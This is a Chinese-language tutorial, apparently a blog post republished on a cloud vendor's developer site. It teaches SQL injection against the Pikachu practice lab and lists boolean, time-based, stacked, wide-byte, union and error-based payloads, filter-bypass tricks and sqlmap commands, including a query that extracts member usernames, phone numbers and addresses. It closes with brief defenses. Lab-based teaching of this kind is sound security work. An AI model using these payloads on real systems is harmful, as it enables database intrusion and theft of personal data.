网络安全-SQL注入原理、攻击及防御(2)

本文涉及的产品
云数据库 RDS MySQL,集群系列 2核4GB
推荐场景:
搭建个人博客
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
云数据库 RDS PostgreSQL,集群系列 2核4GB
简介: 网络安全-SQL注入原理、攻击及防御(2)

Boolean注入攻击

基于布尔判断的攻击

根据前面知道有个用户名是vince。

vince' and length(database())=7#

2020062310470442.png

                  没有错误

此时,条件语句where username='vince' and length(database())=7是True,也就是说数据库长度为7。

vince' and substr(database(),1,1)='p'#

2020062310470442.png

                   字符

vince' and ascii(substr(database(),1,1))=112#

2020062310470442.png

                     ascii

vince' and ascii(substr(database(),2,1))=105#

上面是数据库名第二字符'i'的,数据库名出来后再将database()改为select语句去找表名等,一般是写脚本,一个个的手工判断时间太长,有时间写了脚本再来更新,或者使用sqlmap。

python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php?name=d&submit=%E6%9F%A5%E8%AF%A2" --technique=B -dbms mysql --threads 5 -v 3 -dbs --batch

2020062310470442.png

                               基于boolean的

使用的是MID函数,和substr一样。在网络安全-Mysql注入知识点中有这个函数的用法。

Time注入攻击

基于时间的攻击,利用if、sleep、benchmark、get_lock等函数,使用rpad或repeat构造长字符串,加RLIKE,利用多个大表的笛卡尔积。


GET_LOCK有两个参数,一个是key,表示要加锁的字段,另一个是加锁失败后的等待时间(s),这种绕过方法是存在限制条件的,即数据库的连接必须是持久连接

vince' and if(length(database()=7),sleep(3),1)#

2020062310470442.png

                            3秒后后显示

同样,也是写脚本,通过返回的时间长短判断,可使用sqlmap。

python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_blind_t.php?name=d&submit=%E6%9F%A5%E8%AF%A2" --technique=T --time-sec 2 -dbms mysql --threads 5 -v 3 -dbs --batch

2020062310470442.png

                                       时间注入

太慢了,有其他办法不建议使用这个。

Stack注入攻击

需要后台代码是可以执行多条sql语句的,php中是使用PDO方式执行多条语句。

堆叠注入攻击可以执行多条语句,多语句之间以分号隔开。利用这个特点可以在后面的语句中构造自己要执行的语句。

获取数据库、表(单引号闭合)

';show databases;show tables;%23

2020062310470442.png

                                              sqlmap

可以看到sqlmap中注入技术选择S时,payload中是含分号的。

--------------------------------------接下来是比较特殊/高级的sql绕过注入--------------------------------

inline Query绕过注入攻击

内联查询注入攻击

宽字节绕过注入

宽字节是在一些特定的编码,如GBK中才有的,编码将两个字节认为是一个汉字(前一个字符ascii码要大于128,才到汉字的范围)。addslashes函数为了防止sql注入,将传入参数值进行转义,将' 转义为\',单引号失去作用。因此,我们需要将\给绕过,这样才可以加'号。

2020062310470442.png

                                  \'编码

\编码为%5C,我们一般在地址后添加%df。

2020062310470442.png

                                   绕过\

添加后\变成了汉字,这样就绕过了。之后就和前面的一样了,当然,还有双引号等,除了GBK还有GB2312等编码,有兴趣的可以整理一下所有的。

为了方便理解,修改一下源代码,打印一下sql语句 。

2020062310470442.png

                                             修改源代码

2020062310470442.png

                                转义

%df%5C%27 or 1=1#

后端及数据库设置字符集为GBK,或其他低位为%5C的字符集。

Pikachu其他题目

火狐浏览器及插件hackbar v2。

数字型注入

参数为数字,一般是id等。

2020062310470442.png

                                      参数

参数为id和submit,其中id为整型。

猜测sql语句形式为

select userid from users where id = 参数

注入点判断

id=1 and 1=1&submit=查询
id=1 and 1=2&submit=查询

字段数确定

id=3 order by 3&submit=查询

2020062310470442.png

                                         3时报错

我就从2开始的,靶机的一般不会太大。真实的网络实战的话还是自己写脚本或使用sqlmap。

查询当前数据库

id=1 union select 1,database()&submit=查询

2020062310470442.png

                                  数据库pikachu

查询当前表

由于火狐对hackbar的一些限制,插件无法正常运行sql语句,就使用Navicat了。如果你不是最新版火狐的话可以试一试。

post data应该是这样的

UNION SELECT 1,group_concat(table_name) from information_schema.tables where table_schema=database()&submit=查询

实际sql语句执行是这样的

2020062310470442.png

                                            当前列

查询当前字段

post data应该是这样的

id=1 UNION SELECT 1,group_concat(username,0x3a,phonenum,0x3a,address) from member&submit=查询

实际sql语句执行是这样的

2020062310470442.png

                             用户名,手机号,住址

0x3a是冒号的ASCII码

一次手工注入的基本过程如上所述,接下来大部分只讲原理,有特殊的地方再提示。

字符型注入

将参数以字符或字符串形式读入,通过闭合+注释的方式来进行SQL注入,一般是'或",或者结合()。

判断闭合

2020062310470442.png

                               标题

获取数据

http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=d'union select 1,database()--+&submit=%E6%9F%A5%E8%AF%A2

2020062310470442.png

                                     获取数据库名

后面的和之前的差不多。

搜索型注入

其实也算是字符型注入

搜索一般sql语句如下,

select * from users where username like '%$name'

2020062310470442.png

                               测试闭合字符

http://127.0.0.1/pikachu/vul/sqli/sqli_search.php?name=frankyu'or 1=1--+&submit=%E6%90%9C%E7%B4%A2

2020062310470442.png

                         获取所搜索表所有内容

使用'or 1=1,条件判断为TRUE,所有的都返回,想获取其他的你就从前面常用语句去粘贴就行了。

xx型注入

注入判断

2020062310470442.png

                                 frankyu'判断

我还以为书上没写的呢,其实还是字符型,只不过需要两个字符去闭合,就是前面提到的(),sql语句类型下面这种。

select * from users where username = ('$name')

不写了,和前面的差不多。

"insert/update"注入

2020062310470442.png

                                              标题

1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)and'

0x7e是~,结果如下:

2020062310470442.png

                                        数据库

"delete注入"

和上面的差不多,id那里可以报错注入,可以使用Burpsuite进行抓包。

宽字节注入

博主数据库编码设置的utf-8,就不演示了,其实除了加一个%df外也没什么特别的地方,也可以使用其他的,sqlmap中有temper脚本进行绕过,使用的是%bf。

2020062310470442.png

                                    tamper脚本

绕过

大小写绕过

sql语句对一些关键词不区分大小写,如果网站代码没有进行大小写检查可以使用

UniOn select * from user

双写绕过

网站代码找到关键词后删除,可以通过双写构造删除后符合语法的sql语句

selselectect * from user

内联注释

mysql扩展功能,在/*后加惊叹号,注释中的语句会被执行

and /*!select * from user*/

注释符绕过

注释符不影响语句的连接,

sel/**/ect * from user

or/and绕过

使用逻辑符号代替:and = &&, or = ||

select * from emp where sal > 500 && sal < 3000;

空格绕过

有的网站过滤了空格,可以尝试使用

%0a、%b、%0c、%0d、%09、%a0

或者

/**/、()

例如

select * from/**/emp where (sal) > 500 && sal < 3000;

等价于

 select * from emp where sal > 500 and sal < 3000;

防御SQL注入的方法

使用预编译语句

绑定变量,攻击者无法改变SQL的结构。不同的编程语言Java、Php有不同的语法,就不做展示了。在网络安全-php安全知识点中提到了使用pdo来防御。

使用存储过程

使用安全的存储过程对抗SQL注入,由于存储过程中也可能存在SQL注入问题,应尽量避免使用动态SQL语句。

检查数据类型

例如,需要输入的是整型,那么,可以判断用户的输入,如果包含非整型,例如,字符串"AND"、“BENCHMARK”等,则不运行sql语句。其他类型,例如,邮箱等可以通过使用正则表达式来进行判断。

使用安全函数

各个厂商都有一些安全函数,例如,微软SQL安全函数

关于如何进行sql注入及靶机实战,可以参考下方链接。

未完待续...

更多内容查看:网络安全-自学笔记

喜欢本文的请动动小手点个赞,收藏一下,有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!如有侵权,请及时联系。

相关实践学习
如何在云端创建MySQL数据库
开始实验后,系统会自动创建一台自建MySQL的 源数据库 ECS 实例和一台 目标数据库 RDS。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助 &nbsp; &nbsp; 相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
相关文章
|
2天前
|
存储 人工智能 安全
云端防御:云计算时代的网络安全策略
随着云计算技术的飞速发展,企业和个人越来越依赖云服务来存储和处理数据。然而,云环境的开放性和灵活性也带来了新的安全挑战。本文将探讨在云计算时代,如何通过有效的网络安全策略保护数据不受威胁。我们将深入分析云服务的安全问题,并介绍一些实用的网络安全措施,帮助读者建立起一套完整的云端防御体系。
10 1
|
18天前
|
SQL 安全 网络安全
网络安全的盾牌与剑:漏洞防御与加密技术的较量
【9月更文挑战第23天】 在数字世界的无垠战场上,网络安全是保护数据宝藏的盾牌和剑。本文将深入探讨网络安全的两大支柱——漏洞防御与加密技术。我们将从基础概念出发,逐步剖析网络攻击者如何利用安全漏洞进行入侵,以及加密技术如何在数据传输中确保信息的完整性和保密性。文章还将分享提升个人和组织网络安全意识的方法,以及如何通过教育和实践构建起一道坚不可摧的安全防线。
|
20天前
|
安全 算法 网络安全
网络安全的盾牌与剑:漏洞防御与加密技术解析
【9月更文挑战第21天】在数字世界的海洋中,网络安全是航行者的罗盘和船锚。本文将揭开网络安全漏洞的面纱,探讨如何通过加密技术筑起数据保护的堡垒,并强调安全意识的重要性。从基础概念到实际操作,我们将一同航行在网络安全的波涛之中,寻找安全的灯塔。
|
10天前
|
存储 安全 网络安全
揭秘网络安全的盾牌与剑:漏洞防御与加密技术
【9月更文挑战第31天】在数字时代的浪潮中,网络安全和信息安全成为了保护个人隐私和企业资产的重要屏障。本文将通过浅显易懂的语言和生动的比喻,带你深入了解网络安全漏洞、加密技术的奥秘,以及如何培养安全意识。我们将一起探索网络安全的“盾牌”和“剑”,了解它们如何守护我们的数字世界。
118 61
|
5天前
|
SQL 安全 算法
网络安全的守护盾与矛:漏洞防御与加密技术的较量
【9月更文挑战第36天】在数字化时代的浪潮下,网络安全成为保护信息资产的关键。本文深入探讨了网络漏洞的形成机理及其防御策略,同时剖析了加密技术在信息安全中的核心作用。通过实际案例分析,我们揭示了安全意识的重要性,并提供了加强个人和组织网络防护的具体建议。文章旨在为读者提供一套全面的网络安全知识体系,以应对日益复杂的网络威胁。
|
14天前
|
SQL 安全 网络安全
网络安全的盾牌:漏洞防御与信息加密技术
【9月更文挑战第27天】在数字时代,网络安全和信息安全成为维护数据完整性、保密性和可用性的关键因素。本文将探讨网络安全漏洞的概念、成因及预防措施,同时深入讨论加密技术在保护信息安全中的作用。通过分析安全意识的重要性和提升方法,旨在为读者提供一套全面的网络安全知识框架,以增强个人和组织对抗网络威胁的能力。
29 5
|
13天前
|
SQL 安全 网络安全
揭秘网络安全的盾牌与剑:漏洞防御与加密技术
【9月更文挑战第28天】在数字世界的棋盘上,网络安全是王与后的游戏。本文将带你穿梭于网络的迷宫,揭开那些隐藏在阴影中的安全漏洞,同时探索加密技术这座坚不可摧的堡垒。我们将一起审视网络安全意识的重要性,并分享实用的知识与策略,让你在这场游戏中成为真正的棋手。
|
18天前
|
安全 算法 网络安全
网络安全的守护神:漏洞防御与加密技术的深度解析
【9月更文挑战第23天】在数字时代的浪潮中,信息安全已成为我们不可忽视的重要课题。本文旨在深入探讨网络安全的两大支柱——漏洞防御和加密技术,揭示其背后的原理及应用。通过分析近期的安全事件,我们将理解安全意识的重要性,并学习如何通过技术和策略保护自己的数字资产。文章不仅提供理论知识,还将分享实用的安全建议,助您在网络世界中更安全地航行。
47 4
|
19天前
|
SQL 安全 数据库
惊!Python Web安全黑洞大曝光:SQL注入、XSS、CSRF,你中招了吗?
在数字化时代,Web应用的安全性至关重要。许多Python开发者在追求功能时,常忽视SQL注入、XSS和CSRF等安全威胁。本文将深入剖析这些风险并提供最佳实践:使用参数化查询预防SQL注入;通过HTML转义阻止XSS攻击;在表单中加入CSRF令牌增强安全性。遵循这些方法,可有效提升Web应用的安全防护水平,保护用户数据与隐私。安全需持续关注与改进,每个细节都至关重要。
67 5
|
16天前
|
安全 物联网 网络安全
网络安全的盾牌:漏洞防御与信息保护策略
【9月更文挑战第25天】在数字时代的浪潮中,网络安全和信息安全的重要性日益凸显。本文旨在探讨网络安全漏洞的成因、加密技术的应用以及提升安全意识的必要性。通过深入浅出的分析,揭示网络攻防的复杂性和对策的多样性,强调个人和企业应如何构建坚固的防线以保护数据不受威胁。